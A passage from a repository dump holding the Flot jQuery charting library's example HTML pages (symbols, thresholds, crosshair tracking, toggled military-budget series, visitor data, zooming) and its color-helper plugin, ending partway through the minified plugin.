60 |     
61 |     $(".stackControls input").click(function (e) {
62 |         e.preventDefault();
63 |         stack = $(this).val() == "With stacking" ? true : null;
64 |         plotWithOptions();
65 |     });
66 |     $(".graphControls input").click(function (e) {
67 |         e.preventDefault();
68 |         bars = $(this).val().indexOf("Bars") != -1;
69 |         lines = $(this).val().indexOf("Lines") != -1;
70 |         steps = $(this).val().indexOf("steps") != -1;
71 |         plotWithOptions();
72 |     });
73 | });
74 | </script>
75 | 
76 |  </body>
77 | </html>
78 | 


--------------------------------------------------------------------------------
/ff-hashleak/flot/examples/symbols.html:
--------------------------------------------------------------------------------
 1 | <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
 2 | <html>
 3 |  <head>
 4 |     <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
 5 |     <title>Flot Examples</title>
 6 |     <link href="layout.css" rel="stylesheet" type="text/css">
 7 |     <!--[if lte IE 8]><script language="javascript" type="text/javascript" src="../excanvas.min.js"></script><![endif]-->
 8 |     <script language="javascript" type="text/javascript" src="../jquery.js"></script>
 9 |     <script language="javascript" type="text/javascript" src="../jquery.flot.js"></script>
10 |     <script language="javascript" type="text/javascript" src="../jquery.flot.symbol.js"></script>
11 |  </head>
12 |  <body>
13 |     <h1>Flot Examples</h1>
14 | 
15 |     <div id="placeholder" style="width:600px;height:300px"></div>
16 | 
17 |     <p>Various point types. Circles are built-in. For other
18 |     point types, you can define a little callback function to draw the
19 |     symbol; some common ones are available in the symbol plugin.</p>
20 | 
21 | <script type="text/javascript">
22 | $(function () {
23 |     function generate(offset, amplitude) {
24 |         var res = [];
25 |         var start = 0, end = 10;
26 |         for (var i = 0; i <= 50; ++i) {
27 |             var x = start + i / 50 * (end - start);
28 |             res.push([x, amplitude * Math.sin(x + offset)]);
29 |         }
30 |         return res;
31 |     }
32 | 
33 |     var data = [
34 |         { data: generate(2, 1.8), points: { symbol: "circle" } },
35 |         { data: generate(3, 1.5), points: { symbol: "square" } },
36 |         { data: generate(4, 0.9), points: { symbol: "diamond" } },
37 |         { data: generate(6, 1.4), points: { symbol: "triangle" } },
38 |         { data: generate(7, 1.1), points: { symbol: "cross" } }
39 |     ];
40 | 
41 |     $.plot($("#placeholder"), data, {
42 |         series: { points: { show: true, radius: 3 } },
43 |         grid: { hoverable: true }
44 |     });
45 | });
46 | </script>
47 | 
48 |  </body>
49 | </html>
50 | 


--------------------------------------------------------------------------------
/ff-hashleak/flot/examples/thresholding.html:
--------------------------------------------------------------------------------
 1 | <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
 2 | <html>
 3 |  <head>
 4 |     <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
 5 |     <title>Flot Examples</title>
 6 |     <link href="layout.css" rel="stylesheet" type="text/css">
 7 |     <!--[if lte IE 8]><script language="javascript" type="text/javascript" src="../excanvas.min.js"></script><![endif]-->
 8 |     <script language="javascript" type="text/javascript" src="../jquery.js"></script>
 9 |     <script language="javascript" type="text/javascript" src="../jquery.flot.js"></script>
10 |     <script language="javascript" type="text/javascript" src="../jquery.flot.threshold.js"></script>
11 |  </head>
12 |     <body>
13 |     <h1>Flot Examples</h1>
14 | 
15 |     <div id="placeholder" style="width:600px;height:300px;"></div>
16 | 
17 |     <p>With the threshold plugin, you can apply a specific color to
18 |     the part of a data series below a threshold. This is can be useful
19 |     for highlighting negative values, e.g. when displaying net results
20 |     or what's in stock.</p>
21 | 
22 |     <p class="controls">
23 |     <input type="button" value="Threshold at 5">
24 |     <input type="button" value="Threshold at 0">
25 |     <input type="button" value="Threshold at -2.5">
26 |     </p>
27 | 
28 | <script type="text/javascript">
29 | $(function () {
30 |     var d1 = [];
31 |     for (var i = 0; i <= 60; i += 1)
32 |         d1.push([i, parseInt(Math.random() * 30 - 10)]);
33 | 
34 |     function plotWithOptions(t) {
35 |         $.plot($("#placeholder"), [ {
36 |             data: d1,
37 |             color: "rgb(30, 180, 20)",
38 |             threshold: { below: t, color: "rgb(200, 20, 30)" },
39 |             lines: { steps: true }
40 |         } ]);
41 |     }
42 | 
43 |     plotWithOptions(0);
44 |     
45 |     $(".controls input").click(function (e) {
46 |         e.preventDefault();
47 |         var t = parseFloat($(this).val().replace('Threshold at ', ''));
48 |         plotWithOptions(t);
49 |     });
50 | });
51 | </script>
52 | 
53 |  </body>
54 | </html>
55 | 


--------------------------------------------------------------------------------
/ff-hashleak/flot/examples/tracking.html:
--------------------------------------------------------------------------------
 1 | <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
 2 | <html>
 3 |  <head>
 4 |     <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
 5 |     <title>Flot Examples</title>
 6 |     <link href="layout.css" rel="stylesheet" type="text/css">
 7 |     <!--[if lte IE 8]><script language="javascript" type="text/javascript" src="../excanvas.min.js"></script><![endif]-->
 8 |     <script language="javascript" type="text/javascript" src="../jquery.js"></script>
 9 |     <script language="javascript" type="text/javascript" src="../jquery.flot.js"></script>
10 |     <script language="javascript" type="text/javascript" src="../jquery.flot.crosshair.js"></script>
11 |  </head>
12 |     <body>
13 |     <h1>Flot Examples</h1>
14 | 
15 |     <div id="placeholder" style="width:600px;height:300px"></div>
16 | 
17 |     <p>You can add crosshairs that'll track the mouse position, either
18 |     on both axes or as here on only one.</p>
19 | 
20 |     <p>If you combine it with listening on hover events, you can use
21 |     it to track the intersection on the curves by interpolating
22 |     the data points (look at the legend).</p>
23 | 
24 |     <p id="hoverdata"></p>
25 | 
26 | <script type="text/javascript">
27 | var plot;
28 | $(function () {
29 |     var sin = [], cos = [];
30 |     for (var i = 0; i < 14; i += 0.1) {
31 |         sin.push([i, Math.sin(i)]);
32 |         cos.push([i, Math.cos(i)]);
33 |     }
34 | 
35 |     plot = $.plot($("#placeholder"),
36 |                       [ { data: sin, label: "sin(x) = -0.00"},
37 |                         { data: cos, label: "cos(x) = -0.00" } ], {
38 |                             series: {
39 |                                 lines: { show: true }
40 |                             },
41 |                             crosshair: { mode: "x" },
42 |                             grid: { hoverable: true, autoHighlight: false },
43 |                             yaxis: { min: -1.2, max: 1.2 }
44 |                         });
45 |     var legends = $("#placeholder .legendLabel");
46 |     legends.each(function () {
47 |         // fix the widths so they don't jump around
48 |         $(this).css('width', $(this).width());
49 |     });
50 | 
51 |     var updateLegendTimeout = null;
52 |     var latestPosition = null;
53 |     
54 |     function updateLegend() {
55 |         updateLegendTimeout = null;
56 |         
57 |         var pos = latestPosition;
58 |         
59 |         var axes = plot.getAxes();
60 |         if (pos.x < axes.xaxis.min || pos.x > axes.xaxis.max ||
61 |             pos.y < axes.yaxis.min || pos.y > axes.yaxis.max)
62 |             return;
63 | 
64 |         var i, j, dataset = plot.getData();
65 |         for (i = 0; i < dataset.length; ++i) {
66 |             var series = dataset[i];
67 | 
68 |             // find the nearest points, x-wise
69 |             for (j = 0; j < series.data.length; ++j)
70 |                 if (series.data[j][0] > pos.x)
71 |                     break;
72 |             
73 |             // now interpolate
74 |             var y, p1 = series.data[j - 1], p2 = series.data[j];
75 |             if (p1 == null)
76 |                 y = p2[1];
77 |             else if (p2 == null)
78 |                 y = p1[1];
79 |             else
80 |                 y = p1[1] + (p2[1] - p1[1]) * (pos.x - p1[0]) / (p2[0] - p1[0]);
81 | 
82 |             legends.eq(i).text(series.label.replace(/=.*/, "= " + y.toFixed(2)));
83 |         }
84 |     }
85 |     
86 |     $("#placeholder").bind("plothover",  function (event, pos, item) {
87 |         latestPosition = pos;
88 |         if (!updateLegendTimeout)
89 |             updateLegendTimeout = setTimeout(updateLegend, 50);
90 |     });
91 | });
92 | </script>
93 | 
94 |  </body>
95 | </html>
96 | 


--------------------------------------------------------------------------------
/ff-hashleak/flot/examples/turning-series.html:
--------------------------------------------------------------------------------
 1 | <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
 2 | <html>
 3 |  <head>
 4 |     <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
 5 |     <title>Flot Examples</title>
 6 |     <link href="layout.css" rel="stylesheet" type="text/css">
 7 |     <!--[if lte IE 8]><script language="javascript" type="text/javascript" src="../excanvas.min.js"></script><![endif]-->
 8 |     <script language="javascript" type="text/javascript" src="../jquery.js"></script>
 9 |     <script language="javascript" type="text/javascript" src="../jquery.flot.js"></script>
10 |  </head>
11 |     <body>
12 |     <h1>Flot Examples</h1>
13 | 
14 |     <div id="placeholder" style="width:600px;height:300px;"></div>
15 | 
16 |     <p>Here is an example with real data: military budgets for
17 |         various countries in constant (2005) million US dollars (source: <a href="http://www.sipri.org/">SIPRI</a>).</p>
18 | 
19 |     <p>Since all data is available client-side, it's pretty easy to
20 |        make the plot interactive. Try turning countries on/off with the
21 |        checkboxes below.</p>
22 | 
23 |     <p id="choices">Show:</p>
24 | 
25 | <script type="text/javascript">
26 | $(function () {
27 |     var datasets = {
28 |         "usa": {
29 |             label: "USA",
30 |             data: [[1988, 483994], [1989, 479060], [1990, 457648], [1991, 401949], [1992, 424705], [1993, 402375], [1994, 377867], [1995, 357382], [1996, 337946], [1997, 336185], [1998, 328611], [1999, 329421], [2000, 342172], [2001, 344932], [2002, 387303], [2003, 440813], [2004, 480451], [2005, 504638], [2006, 528692]]
31 |         },        
32 |         "russia": {
33 |             label: "Russia",
34 |             data: [[1988, 218000], [1989, 203000], [1990, 171000], [1992, 42500], [1993, 37600], [1994, 36600], [1995, 21700], [1996, 19200], [1997, 21300], [1998, 13600], [1999, 14000], [2000, 19100], [2001, 21300], [2002, 23600], [2003, 25100], [2004, 26100], [2005, 31100], [2006, 34700]]
35 |         },
36 |         "uk": {
37 |             label: "UK",
38 |             data: [[1988, 62982], [1989, 62027], [1990, 60696], [1991, 62348], [1992, 58560], [1993, 56393], [1994, 54579], [1995, 50818], [1996, 50554], [1997, 48276], [1998, 47691], [1999, 47529], [2000, 47778], [2001, 48760], [2002, 50949], [2003, 57452], [2004, 60234], [2005, 60076], [2006, 59213]]
39 |         },
40 |         "germany": {
41 |             label: "Germany",
42 |             data: [[1988, 55627], [1989, 55475], [1990, 58464], [1991, 55134], [1992, 52436], [1993, 47139], [1994, 43962], [1995, 43238], [1996, 42395], [1997, 40854], [1998, 40993], [1999, 41822], [2000, 41147], [2001, 40474], [2002, 40604], [2003, 40044], [2004, 38816], [2005, 38060], [2006, 36984]]
43 |         },
44 |         "denmark": {
45 |             label: "Denmark",
46 |             data: [[1988, 3813], [1989, 3719], [1990, 3722], [1991, 3789], [1992, 3720], [1993, 3730], [1994, 3636], [1995, 3598], [1996, 3610], [1997, 3655], [1998, 3695], [1999, 3673], [2000, 3553], [2001, 3774], [2002, 3728], [2003, 3618], [2004, 3638], [2005, 3467], [2006, 3770]]
47 |         },
48 |         "sweden": {
49 |             label: "Sweden",
50 |             data: [[1988, 6402], [1989, 6474], [1990, 6605], [1991, 6209], [1992, 6035], [1993, 6020], [1994, 6000], [1995, 6018], [1996, 3958], [1997, 5780], [1998, 5954], [1999, 6178], [2000, 6411], [2001, 5993], [2002, 5833], [2003, 5791], [2004, 5450], [2005, 5521], [2006, 5271]]
51 |         },
52 |         "norway": {
53 |             label: "Norway",
54 |             data: [[1988, 4382], [1989, 4498], [1990, 4535], [1991, 4398], [1992, 4766], [1993, 4441], [1994, 4670], [1995, 4217], [1996, 4275], [1997, 4203], [1998, 4482], [1999, 4506], [2000, 4358], [2001, 4385], [2002, 5269], [2003, 5066], [2004, 5194], [2005, 4887], [2006, 4891]]
55 |         }
56 |     };
57 | 
58 |     // hard-code color indices to prevent them from shifting as
59 |     // countries are turned on/off
60 |     var i = 0;
61 |     $.each(datasets, function(key, val) {
62 |         val.color = i;
63 |         ++i;
64 |     });
65 |     
66 |     // insert checkboxes 
67 |     var choiceContainer = $("#choices");
68 |     $.each(datasets, function(key, val) {
69 |         choiceContainer.append('<br/><input type="checkbox" name="' + key +
70 |                                '" checked="checked" id="id' + key + '">' +
71 |                                '<label for="id' + key + '">'
72 |                                 + val.label + '</label>');
73 |     });
74 |     choiceContainer.find("input").click(plotAccordingToChoices);
75 | 
76 |     
77 |     function plotAccordingToChoices() {
78 |         var data = [];
79 | 
80 |         choiceContainer.find("input:checked").each(function () {
81 |             var key = $(this).attr("name");
82 |             if (key && datasets[key])
83 |                 data.push(datasets[key]);
84 |         });
85 | 
86 |         if (data.length > 0)
87 |             $.plot($("#placeholder"), data, {
88 |                 yaxis: { min: 0 },
89 |                 xaxis: { tickDecimals: 0 }
90 |             });
91 |     }
92 | 
93 |     plotAccordingToChoices();
94 | });
95 | </script>
96 | 
97 |  </body>
98 | </html>
99 | 


--------------------------------------------------------------------------------
/ff-hashleak/flot/examples/visitors.html:
--------------------------------------------------------------------------------
 1 | <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
 2 | <html>
 3 |  <head>
 4 |     <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
 5 |     <title>Flot Examples</title>
 6 |     <link href="layout.css" rel="stylesheet" type="text/css">
 7 |     <!--[if lte IE 8]><script language="javascript" type="text/javascript" src="../excanvas.min.js"></script><![endif]-->
 8 |     <script language="javascript" type="text/javascript" src="../jquery.js"></script>
 9 |     <script language="javascript" type="text/javascript" src="../jquery.flot.js"></script>
10 |     <script language="javascript" type="text/javascript" src="../jquery.flot.selection.js"></script>
11 |  </head>
12 |     <body>
13 |     <h1>Flot Examples</h1>
14 | 
15 |     <div id="placeholder" style="width:600px;height:300px;"></div>
16 | 
17 |     <p>Visitors per day to the Flot homepage. Weekends are colored. Try zooming.
18 |       The plot below shows an overview.</p>
19 | 
20 |     <div id="overview" style="margin-left:50px;margin-top:20px;width:400px;height:50px"></div>
21 | 
22 | <script id="source">
23 | $(function () {
24 |     var d = [[1196463600000, 0], [1196550000000, 0], [1196636400000, 0], [1196722800000, 77], [1196809200000, 3636], [1196895600000, 3575], [1196982000000, 2736], [1197068400000, 1086], [1197154800000, 676], [1197241200000, 1205], [1197327600000, 906], [1197414000000, 710], [1197500400000, 639], [1197586800000, 540], [1197673200000, 435], [1197759600000, 301], [1197846000000, 575], [1197932400000, 481], [1198018800000, 591], [1198105200000, 608], [1198191600000, 459], [1198278000000, 234], [1198364400000, 1352], [1198450800000, 686], [1198537200000, 279], [1198623600000, 449], [1198710000000, 468], [1198796400000, 392], [1198882800000, 282], [1198969200000, 208], [1199055600000, 229], [1199142000000, 177], [1199228400000, 374], [1199314800000, 436], [1199401200000, 404], [1199487600000, 253], [1199574000000, 218], [1199660400000, 476], [1199746800000, 462], [1199833200000, 448], [1199919600000, 442], [1200006000000, 403], [1200092400000, 204], [1200178800000, 194], [1200265200000, 327], [1200351600000, 374], [1200438000000, 507], [1200524400000, 546], [1200610800000, 482], [1200697200000, 283], [1200783600000, 221], [1200870000000, 483], [1200956400000, 523], [1201042800000, 528], [1201129200000, 483], [1201215600000, 452], [1201302000000, 270], [1201388400000, 222], [1201474800000, 439], [1201561200000, 559], [1201647600000, 521], [1201734000000, 477], [1201820400000, 442], [1201906800000, 252], [1201993200000, 236], [1202079600000, 525], [1202166000000, 477], [1202252400000, 386], [1202338800000, 409], [1202425200000, 408], [1202511600000, 237], [1202598000000, 193], [1202684400000, 357], [1202770800000, 414], [1202857200000, 393], [1202943600000, 353], [1203030000000, 364], [1203116400000, 215], [1203202800000, 214], [1203289200000, 356], [1203375600000, 399], [1203462000000, 334], [1203548400000, 348], [1203634800000, 243], [1203721200000, 126], [1203807600000, 157], [1203894000000, 288]];
25 | 
26 |     // first correct the timestamps - they are recorded as the daily
27 |     // midnights in UTC+0100, but Flot always displays dates in UTC
28 |     // so we have to add one hour to hit the midnights in the plot
29 |     for (var i = 0; i < d.length; ++i)
30 |       d[i][0] += 60 * 60 * 1000;
31 | 
32 |     // helper for returning the weekends in a period
33 |     function weekendAreas(axes) {
34 |         var markings = [];
35 |         var d = new Date(axes.xaxis.min);
36 |         // go to the first Saturday
37 |         d.setUTCDate(d.getUTCDate() - ((d.getUTCDay() + 1) % 7))
38 |         d.setUTCSeconds(0);
39 |         d.setUTCMinutes(0);
40 |         d.setUTCHours(0);
41 |         var i = d.getTime();
42 |         do {
43 |             // when we don't set yaxis, the rectangle automatically
44 |             // extends to infinity upwards and downwards
45 |             markings.push({ xaxis: { from: i, to: i + 2 * 24 * 60 * 60 * 1000 } });
46 |             i += 7 * 24 * 60 * 60 * 1000;
47 |         } while (i < axes.xaxis.max);
48 | 
49 |         return markings;
50 |     }
51 |     
52 |     var options = {
53 |         xaxis: { mode: "time", tickLength: 5 },
54 |         selection: { mode: "x" },
55 |         grid: { markings: weekendAreas }
56 |     };
57 |     
58 |     var plot = $.plot($("#placeholder"), [d], options);
59 |     
60 |     var overview = $.plot($("#overview"), [d], {
61 |         series: {
62 |             lines: { show: true, lineWidth: 1 },
63 |             shadowSize: 0
64 |         },
65 |         xaxis: { ticks: [], mode: "time" },
66 |         yaxis: { ticks: [], min: 0, autoscaleMargin: 0.1 },
67 |         selection: { mode: "x" }
68 |     });
69 | 
70 |     // now connect the two
71 |     
72 |     $("#placeholder").bind("plotselected", function (event, ranges) {
73 |         // do the zooming
74 |         plot = $.plot($("#placeholder"), [d],
75 |                       $.extend(true, {}, options, {
76 |                           xaxis: { min: ranges.xaxis.from, max: ranges.xaxis.to }
77 |                       }));
78 | 
79 |         // don't fire event on the overview to prevent eternal loop
80 |         overview.setSelection(ranges, true);
81 |     });
82 |     
83 |     $("#overview").bind("plotselected", function (event, ranges) {
84 |         plot.setSelection(ranges);
85 |     });
86 | });
87 | </script>
88 | 
89 |  </body>
90 | </html>
91 | 


--------------------------------------------------------------------------------
/ff-hashleak/flot/examples/zooming.html:
--------------------------------------------------------------------------------
 1 | <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
 2 | <html>
 3 |  <head>
 4 |     <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
 5 |     <title>Flot Examples</title>
 6 |     <link href="layout.css" rel="stylesheet" type="text/css">
 7 |     <!--[if lte IE 8]><script language="javascript" type="text/javascript" src="../excanvas.min.js"></script><![endif]-->
 8 |     <script language="javascript" type="text/javascript" src="../jquery.js"></script>
 9 |     <script language="javascript" type="text/javascript" src="../jquery.flot.js"></script>
10 |     <script language="javascript" type="text/javascript" src="../jquery.flot.selection.js"></script>
11 |  </head>
12 |     <body>
13 |     <h1>Flot Examples</h1>
14 | 
15 |     <div style="float:left">
16 |       <div id="placeholder" style="width:500px;height:300px"></div>
17 |     </div>
18 |     
19 |     <div id="miniature" style="float:left;margin-left:20px">
20 |       <div id="overview" style="width:166px;height:100px"></div>
21 | 
22 |       <p id="overviewLegend" style="margin-left:10px"></p>
23 |     </div>
24 | 
25 |     <p style="clear:left">The selection support makes it easy to
26 |     construct flexible zooming schemes. With a few lines of code, the
27 |     small overview plot to the right has been connected to the large
28 |     plot. Try selecting a rectangle on either of them.</p>
29 | 
30 | <script id="source">
31 | $(function () {
32 |     // setup plot
33 |     function getData(x1, x2) {
34 |         var d = [];
35 |         for (var i = 0; i <= 100; ++i) {
36 |             var x = x1 + i * (x2 - x1) / 100;
37 |             d.push([x, Math.sin(x * Math.sin(x))]);
38 |         }
39 | 
40 |         return [
41 |             { label: "sin(x sin(x))", data: d }
42 |         ];
43 |     }
44 | 
45 |     var options = {
46 |         legend: { show: false },
47 |         series: {
48 |             lines: { show: true },
49 |             points: { show: true }
50 |         },
51 |         yaxis: { ticks: 10 },
52 |         selection: { mode: "xy" }
53 |     };
54 | 
55 |     var startData = getData(0, 3 * Math.PI);
56 |     
57 |     var plot = $.plot($("#placeholder"), startData, options);
58 | 
59 |     // setup overview
60 |     var overview = $.plot($("#overview"), startData, {
61 |         legend: { show: true, container: $("#overviewLegend") },
62 |         series: {
63 |             lines: { show: true, lineWidth: 1 },
64 |             shadowSize: 0
65 |         },
66 |         xaxis: { ticks: 4 },
67 |         yaxis: { ticks: 3, min: -2, max: 2 },
68 |         grid: { color: "#999" },
69 |         selection: { mode: "xy" }
70 |     });
71 | 
72 |     // now connect the two
73 |     
74 |     $("#placeholder").bind("plotselected", function (event, ranges) {
75 |         // clamp the zooming to prevent eternal zoom
76 |         if (ranges.xaxis.to - ranges.xaxis.from < 0.00001)
77 |             ranges.xaxis.to = ranges.xaxis.from + 0.00001;
78 |         if (ranges.yaxis.to - ranges.yaxis.from < 0.00001)
79 |             ranges.yaxis.to = ranges.yaxis.from + 0.00001;
80 |         
81 |         // do the zooming
82 |         plot = $.plot($("#placeholder"), getData(ranges.xaxis.from, ranges.xaxis.to),
83 |                       $.extend(true, {}, options, {
84 |                           xaxis: { min: ranges.xaxis.from, max: ranges.xaxis.to },
85 |                           yaxis: { min: ranges.yaxis.from, max: ranges.yaxis.to }
86 |                       }));
87 |         
88 |         // don't fire event on the overview to prevent eternal loop
89 |         overview.setSelection(ranges, true);
90 |     });
91 |     $("#overview").bind("plotselected", function (event, ranges) {
92 |         plot.setSelection(ranges);
93 |     });
94 | });
95 | </script>
96 | 
97 |  </body>
98 | </html>
99 | 


--------------------------------------------------------------------------------
/ff-hashleak/flot/jquery.colorhelpers.js:
--------------------------------------------------------------------------------
  1 | /* Plugin for jQuery for working with colors.
  2 |  * 
  3 |  * Version 1.1.
  4 |  * 
  5 |  * Inspiration from jQuery color animation plugin by John Resig.
  6 |  *
  7 |  * Released under the MIT license by Ole Laursen, October 2009.
  8 |  *
  9 |  * Examples:
 10 |  *
 11 |  *   $.color.parse("#fff").scale('rgb', 0.25).add('a', -0.5).toString()
 12 |  *   var c = $.color.extract($("#mydiv"), 'background-color');
 13 |  *   console.log(c.r, c.g, c.b, c.a);
 14 |  *   $.color.make(100, 50, 25, 0.4).toString() // returns "rgba(100,50,25,0.4)"
 15 |  *
 16 |  * Note that .scale() and .add() return the same modified object
 17 |  * instead of making a new one.
 18 |  *
 19 |  * V. 1.1: Fix error handling so e.g. parsing an empty string does
 20 |  * produce a color rather than just crashing.
 21 |  */ 
 22 | 
 23 | (function($) {
 24 |     $.color = {};
 25 | 
 26 |     // construct color object with some convenient chainable helpers
 27 |     $.color.make = function (r, g, b, a) {
 28 |         var o = {};
 29 |         o.r = r || 0;
 30 |         o.g = g || 0;
 31 |         o.b = b || 0;
 32 |         o.a = a != null ? a : 1;
 33 | 
 34 |         o.add = function (c, d) {
 35 |             for (var i = 0; i < c.length; ++i)
 36 |                 o[c.charAt(i)] += d;
 37 |             return o.normalize();
 38 |         };
 39 |         
 40 |         o.scale = function (c, f) {
 41 |             for (var i = 0; i < c.length; ++i)
 42 |                 o[c.charAt(i)] *= f;
 43 |             return o.normalize();
 44 |         };
 45 |         
 46 |         o.toString = function () {
 47 |             if (o.a >= 1.0) {
 48 |                 return "rgb("+[o.r, o.g, o.b].join(",")+")";
 49 |             } else {
 50 |                 return "rgba("+[o.r, o.g, o.b, o.a].join(",")+")";
 51 |             }
 52 |         };
 53 | 
 54 |         o.normalize = function () {
 55 |             function clamp(min, value, max) {
 56 |                 return value < min ? min: (value > max ? max: value);
 57 |             }
 58 |             
 59 |             o.r = clamp(0, parseInt(o.r), 255);
 60 |             o.g = clamp(0, parseInt(o.g), 255);
 61 |             o.b = clamp(0, parseInt(o.b), 255);
 62 |             o.a = clamp(0, o.a, 1);
 63 |             return o;
 64 |         };
 65 | 
 66 |         o.clone = function () {
 67 |             return $.color.make(o.r, o.b, o.g, o.a);
 68 |         };
 69 | 
 70 |         return o.normalize();
 71 |     }
 72 | 
 73 |     // extract CSS color property from element, going up in the DOM
 74 |     // if it's "transparent"
 75 |     $.color.extract = function (elem, css) {
 76 |         var c;
 77 |         do {
 78 |             c = elem.css(css).toLowerCase();
 79 |             // keep going until we find an element that has color, or
 80 |             // we hit the body
 81 |             if (c != '' && c != 'transparent')
 82 |                 break;
 83 |             elem = elem.parent();
 84 |         } while (!$.nodeName(elem.get(0), "body"));
 85 | 
 86 |         // catch Safari's way of signalling transparent
 87 |         if (c == "rgba(0, 0, 0, 0)")
 88 |             c = "transparent";
 89 |         
 90 |         return $.color.parse(c);
 91 |     }
 92 |     
 93 |     // parse CSS color string (like "rgb(10, 32, 43)" or "#fff"),
 94 |     // returns color object, if parsing failed, you get black (0, 0,
 95 |     // 0) out
 96 |     $.color.parse = function (str) {
 97 |         var res, m = $.color.make;
 98 | 
 99 |         // Look for rgb(num,num,num)
100 |         if (res = /rgb\(\s*([0-9]{1,3})\s*,\s*([0-9]{1,3})\s*,\s*([0-9]{1,3})\s*\)/.exec(str))
101 |             return m(parseInt(res[1], 10), parseInt(res[2], 10), parseInt(res[3], 10));
102 |         
103 |         // Look for rgba(num,num,num,num)
104 |         if (res = /rgba\(\s*([0-9]{1,3})\s*,\s*([0-9]{1,3})\s*,\s*([0-9]{1,3})\s*,\s*([0-9]+(?:\.[0-9]+)?)\s*\)/.exec(str))
105 |             return m(parseInt(res[1], 10), parseInt(res[2], 10), parseInt(res[3], 10), parseFloat(res[4]));
106 |             
107 |         // Look for rgb(num%,num%,num%)
108 |         if (res = /rgb\(\s*([0-9]+(?:\.[0-9]+)?)\%\s*,\s*([0-9]+(?:\.[0-9]+)?)\%\s*,\s*([0-9]+(?:\.[0-9]+)?)\%\s*\)/.exec(str))
109 |             return m(parseFloat(res[1])*2.55, parseFloat(res[2])*2.55, parseFloat(res[3])*2.55);
110 | 
111 |         // Look for rgba(num%,num%,num%,num)
112 |         if (res = /rgba\(\s*([0-9]+(?:\.[0-9]+)?)\%\s*,\s*([0-9]+(?:\.[0-9]+)?)\%\s*,\s*([0-9]+(?:\.[0-9]+)?)\%\s*,\s*([0-9]+(?:\.[0-9]+)?)\s*\)/.exec(str))
113 |             return m(parseFloat(res[1])*2.55, parseFloat(res[2])*2.55, parseFloat(res[3])*2.55, parseFloat(res[4]));
114 |         
115 |         // Look for #a0b1c2
116 |         if (res = /#([a-fA-F0-9]{2})([a-fA-F0-9]{2})([a-fA-F0-9]{2})/.exec(str))
117 |             return m(parseInt(res[1], 16), parseInt(res[2], 16), parseInt(res[3], 16));
118 | 
119 |         // Look for #fff
120 |         if (res = /#([a-fA-F0-9])([a-fA-F0-9])([a-fA-F0-9])/.exec(str))
121 |             return m(parseInt(res[1]+res[1], 16), parseInt(res[2]+res[2], 16), parseInt(res[3]+res[3], 16));
122 | 
123 |         // Otherwise, we're most likely dealing with a named color
124 |         var name = $.trim(str).toLowerCase();
125 |         if (name == "transparent")
126 |             return m(255, 255, 255, 0);
127 |         else {
128 |             // default to black
129 |             res = lookupColors[name] || [0, 0, 0];
130 |             return m(res[0], res[1], res[2]);
131 |         }
132 |     }
133 |     
134 |     var lookupColors = {
135 |         aqua:[0,255,255],
136 |         azure:[240,255,255],
137 |         beige:[245,245,220],
138 |         black:[0,0,0],
139 |         blue:[0,0,255],
140 |         brown:[165,42,42],
141 |         cyan:[0,255,255],
142 |         darkblue:[0,0,139],
143 |         darkcyan:[0,139,139],
144 |         darkgrey:[169,169,169],
145 |         darkgreen:[0,100,0],
146 |         darkkhaki:[189,183,107],
147 |         darkmagenta:[139,0,139],
148 |         darkolivegreen:[85,107,47],
149 |         darkorange:[255,140,0],
150 |         darkorchid:[153,50,204],
151 |         darkred:[139,0,0],
152 |         darksalmon:[233,150,122],
153 |         darkviolet:[148,0,211],
154 |         fuchsia:[255,0,255],
155 |         gold:[255,215,0],
156 |         green:[0,128,0],
157 |         indigo:[75,0,130],
158 |         khaki:[240,230,140],
159 |         lightblue:[173,216,230],
160 |         lightcyan:[224,255,255],
161 |         lightgreen:[144,238,144],
162 |         lightgrey:[211,211,211],
163 |         lightpink:[255,182,193],
164 |         lightyellow:[255,255,224],
165 |         lime:[0,255,0],
166 |         magenta:[255,0,255],
167 |         maroon:[128,0,0],
168 |         navy:[0,0,128],
169 |         olive:[128,128,0],
170 |         orange:[255,165,0],
171 |         pink:[255,192,203],
172 |         purple:[128,0,128],
173 |         violet:[128,0,128],
174 |         red:[255,0,0],
175 |         silver:[192,192,192],
176 |         white:[255,255,255],
177 |         yellow:[255,255,0]
178 |     };
179 | })(jQuery);
180 | 


--------------------------------------------------------------------------------
/ff-hashleak/flot/jquery.colorhelpers.min.js:
--------------------------------------------------------------------------------
1 | (function(b){b.color={};b.color.make=function(f,e,c,d){var h={};h.r=f||0;h.g=e||0;h.b=c||0;h.a=d!=null?d:1;h.add=function(k,j){for(var g=0;g<k.length;++g){h[k.charAt(g)]+=j}return h.normalize()};h.scale=function(k,j){for(var g=0;g<k.length;++g){h[k.charAt(g)]*=j}return h.normalize()};h.toString=function(){if(h.a>=1){return"rgb("+[h.r,h.g,h.b].join(",")+")"}else{return"rgba("+[h.r,h.g,h.b,h.a].join(",")+")"}};h.normalize=function(){function g(j,k,i){return k<j?j:(k>i?i:k)}h.r=g(0,parseInt(h.r),255);h.g=g(0,parseInt(h.g),255);h.b=g(0,parseInt(h.b),255);h.a=g(0,h.a,1);return h};h.clone=function(){return b.color.make(h.r,h.b,h.g,h.a)};return h.normalize()};b.color.extract=function(e,d){var f;do{f=e.css(d).toLowerCase();if(f!=""&&f!="transparent"){break}e=e.parent()}while(!b.nodeName(e.get(0),"body"));if(f=="rgba(0, 0, 0, 0)"){f="transparent"}return b.color.parse(f)};b.color.parse=function(f){var e,c=b.color.make;if(e=/rgb\(\s*([0-9]{1,3})\s*,\s*([0-9]{1,3})\s*,\s*([0-9]{1,3})\s*\)/.exec(f)){return 